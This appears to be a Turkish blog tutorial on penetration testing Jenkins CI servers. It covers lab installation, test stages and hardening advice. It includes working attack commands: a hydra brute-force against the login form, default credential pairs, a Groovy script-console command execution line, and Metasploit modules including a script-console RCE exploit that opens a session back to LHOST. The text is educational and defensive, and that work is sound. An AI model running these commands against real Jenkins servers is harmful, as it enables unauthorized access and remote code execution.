Python installation on Debian
Here’s the step-by-step guide for Python installation on Debian in both Englis...
 
        Jenkins pentesting, Jenkins CI/CD sunucularının güvenlik açıklarını tespit etmek ve değerlendirmek için yapılan güvenlik test sürecidir. Jenkins yaygın kullanılan bir otomasyon sunucusu olduğu için siber saldırganların hedefi haline gelebilir. Pentesting ile bu sistemlerdeki zafiyetler proaktif olarak belirlenerek güvenlik ihlalleri önlenebilir. Temel Jenkins Pentesting adımları: 1. **Keşif (Reconnaissance)** - Jenkins versiyonunun tespiti - Açık portların taranması - Erişilebilir Jenkins arayüzlerinin tespiti 2. **Kimlik Doğrulama Testleri** - Varsayılan kullanıcı adı/şifre denemeleri - Brute force saldırıları - OAuth yapılandırma kontrolleri 3. **Yetkilendirme Testleri** - Kullanıcı izinlerinin kontrolü - Role-based access control (RBAC) testleri - Script yetkilendirme kontrolleri 4. **Plugin Güvenlik Kontrolleri** - Eski/güvensiz plugin tespiti - Plugin yapılandırma kontrolleri - Plugin güvenlik açıklarının araştırılması 5. **Jenkins Pipeline Güvenlik Testleri** - Groovy script güvenlik kontrolleri - Pipeline yapılandırma denetimi - Kod enjeksiyon olasılıklarının tespiti 6. **API Güvenlik Testleri** - REST API güvenlik kontrolleri - API token yönetimi - API erişim kontrolü 7. **Altyapı Güvenliği** - Container güvenliği (Docker kullanılıyorsa) - Network segmentasyon kontrolleri - Depolama güvenliği Önemli Güvenlik Riskleri: - Uzaktan kod çalıştırma (RCE) - Yetkisiz erişim - Hassas bilgi sızıntısı - Pipeline manipülasyonu - Kötü amaçlı plugin yüklemeleri Güvenlik Önerileri: 1. Güncel Jenkins versiyonu kullanma 2. Güçlü kimlik doğrulama 3. Düzenli güvenlik güncellemeleri 4. Plugin güvenlik denetimleri 5. Access control listelerinin düzenli gözden geçirilmesi 6. Güvenli pipeline yapılandırması 7. Network segmentasyonu 8. Düzenli güvenlik testleri ve denetimleri Bu tür testlerin etik kurallara ve yasal düzenlemelere uygun şekilde, gerekli izinler alınarak yapılması önemlidir.
Java Kurulumu:
sudo apt update sudo apt install openjdk-11-jdk -y java -version
Jenkins Kurulumu:
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' sudo apt update sudo apt install jenkins -yJenkins Başlatma:
sudo systemctl start jenkins sudo systemctl enable jenkins sudo systemctl status jenkinsFirewall Ayarları:
sudo ufw allow 8080 sudo ufw enableİlk Yapılandırma: tarayıcıda
http://:8080 açın
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
Kurulum sihirbazını takip ederek temel ayarları yapın
Nmap ile Port Tarama:
nmap -sV -p 8080
Jenkins Versiyon Tespiti:
curl -s http://:8080/ | grep "Jenkins"
Metasploit Modülleri:
use auxiliary/scanner/http/jenkins_enum set RHOSTS set RPORT 8080 run
Brute Force Denemeleri:
hydra -L users.txt -P passwords.txt http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Varsayılan Kimlik Bilgileri Denemesi:
admin:admin
jenkins:jenkins
admin:password
# API üzerinden yetki kontrolü curl -u kullanici:sifre http://:8080/role-strategy/strategy/getRole?type=globalRoles
Eski Plugin Tespiti:
curl -s http://:8080/pluginManager/api/json?depth=1 | jq '.plugins | {shortName, version}'
# Eğer yetkiniz varsa println "whoami".execute().text
CVE-2018-1000861 (RCE):
msfconsole use exploit/linux/http/jenkins_script_console set RHOSTS set RPORT 8080 set TARGETURI / set LHOST exploit
CVE-2019-1003000 (Pipeline RCE):
# Örnek exploit scripti import requests target = "http://:8080" command = "whoami" # Exploit kodu buraya
Erişim Kontrolü:
# Jenkins yapılandırma dosyası sudo nano /var/lib/jenkins/config.xml
useSecurity etkinleştirin
authorizationStrategy ayarlarını kontrol edin
# Güvenli olmayan pluginleri kaldırma sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre delete-plugin eskiPluginAPI Güvenliği:
# API token'larını yönetme sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre list-api-tokensLog Takibi:
# Jenkins loglarını izleme tail -f /var/log/jenkins/jenkins.log